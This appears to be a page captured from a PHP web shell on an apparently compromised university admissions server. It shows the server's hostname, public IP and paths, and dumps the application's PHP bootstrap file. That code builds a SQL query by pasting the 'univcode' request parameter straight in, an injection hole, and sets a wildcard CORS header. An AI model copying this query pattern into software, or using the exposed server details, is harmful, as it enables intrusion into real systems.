0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.191.171.72


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/cappcontext.php

<?php
require_once("cconfig.php");
require_once(APP_DB_G . "/adodb.inc.php");
require_once(APP_DB_G . "/tohtml.inc.php");
require_once(APP_DB_G . "/toexport.inc.php");
require_once(APP_SRC_G . "/crequestbroker.php");
require_once(APP_SRC_G . "/csessions.php");
require_once(APP_SRC_G . "/coutput.php");
require_once(APP_SRC_G . "/cuser.php");

require_once(APP_SRC_G . "/jwt.php");
require_once(APP_SRC_G . "/constants.php");
require_once(APP_SRC_G . "/exceptionhandler.php");


class CApplicationContext
{
  public $mobj_config;  #Config Object
  public $mobj_db;      #Adodb Object
  public $mobj_orb;     #Request Broker - Singleton Class with static functions    
  public $mobj_user;    #User Object
  public $mobj_data;    #Data 
  public $mobj_output;  #Output stream
  public $main_src;
  #public $mobj_logger; #Logger stream

  function __construct()
  { }

  function Initialize()
  {
    # all the contained object creations happen here and not in the constructor
    # this is to avoid exceptions during object creation
    header("Access-Control-Allow-Origin: *");
    header('Content-Type: application/json');
    header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
    header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With, x-auth-origin, x-auth-token, x-auth-type");
    # 06. Input - Init
    $this->mobj_data = $_REQUEST;
    // var_dump($_POST);
    // var_dump(file_get_contents('php://input'));
    if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
      die();
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
      $this->req_body = file_get_contents('php://input');
      $this->req_body = json_decode($this->req_body, true);
    }
    # 01. Create the Config Object
    $this->mobj_config = new CConfig(isset($this->mobj_data["dbg"]), $this->mobj_data["cdb"]);
    date_default_timezone_set("Asia/Calcutta");

    # 02. Create the DB Object

    $this->mobj_db = adoNewConnection("mysqli"); # by default we connect to mysql
    $this->mobj_db->debug = $this->mobj_config->mbool_debug;
    $lbool_res = $this->mobj_db->Connect($this->mobj_config->mstr_host, $this->mobj_config->mstr_user, $this->mobj_config->mstr_password, $this->mobj_config->mstr_db);
    if (isset($this->mobj_data['univcode'])) {
      $univcode = $this->mobj_data['univcode'];
      $this->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
      $query = "select funivcode, funivname, fdbname, ffolder from dbname 
        where funivcode = '{$univcode}'";
      $result = $this->mobj_db->GetRow($query);
      // var_dump($result);
      $this->pdb = $result;
      $pdb = $result['fdbname'];

      $this->pobj_db = adoNewConnection("mysqli"); # by default we connect to mysql
      // $this->bobj_db->debug = $this->mobj_config->mbool_debug;
      $lbool_res = $this->pobj_db->Connect($this->mobj_config->mstr_host, $this->mobj_config->mstr_user, $this->mobj_config->mstr_password, $pdb);
      $this->pobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    }

    $headers = getallheaders();
    // var_dump($headers);
    $this->headers = $headers;
    $origin = $headers["X-Auth-Origin"];
    $type = $headers["X-Auth-Type"];

    $_SESSION['user_id'] = "ABCD";

    if ($origin == 'UNICLARE' || ($origin == 'E-GOVERNANCE' && $type !== 'LOGREGN') || ($origin == 'QPTRAN' && $type !== 'LOGREGN' && $type !== 'LOADUNIV') || ($origin == 'QPSETTER' && $type !== 'LOGREGN' && $type !== 'LOADUNIV')) {

      $token = $headers["X-Auth-Token"];

      try {
        $payload = JWT::decode($token, SECRETE_KEY, ['HS256']);
        $_SESSION['user_id'] = $payload->userId;
      } catch (Exception $e) {
        throwError(ACCESS_TOKEN_ERRORS, $e->getMessage());
        die();
      }
    }

    # 03. Create the Request Broker
    $this->mobj_orb = CRequestBroker::GetInstance();
    /* Actions to be registered in mregistry.php
       */

    # 04. Sessions
    CSessions::Initialize();

    # 05. User
    // $this->mobj_user = CSessions::GetUser();
    // if (!isset($this->mobj_user))
    //   $this->mobj_user = new CUser($this);

    # 07. Output - Init
    $this->mobj_output = new COutput();
    $this->mobj_output->Initialize();

    

    # to get the main source
    $main_src_obj = (explode("/", $_SERVER["REQUEST_URI"]));
    $this->main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
    //$this->main_src=$_SERVER["DOCUMENT_ROOT"]."/".$main_src_obj[1];	
  }

  function __destruct()
  {
    # though php closes the db, it is good practice to do it ourselves explicitely once
    # $this->mobj_db->Close();
    unset($this->mobj_db);
    unset($this->mobj_config);
  }
}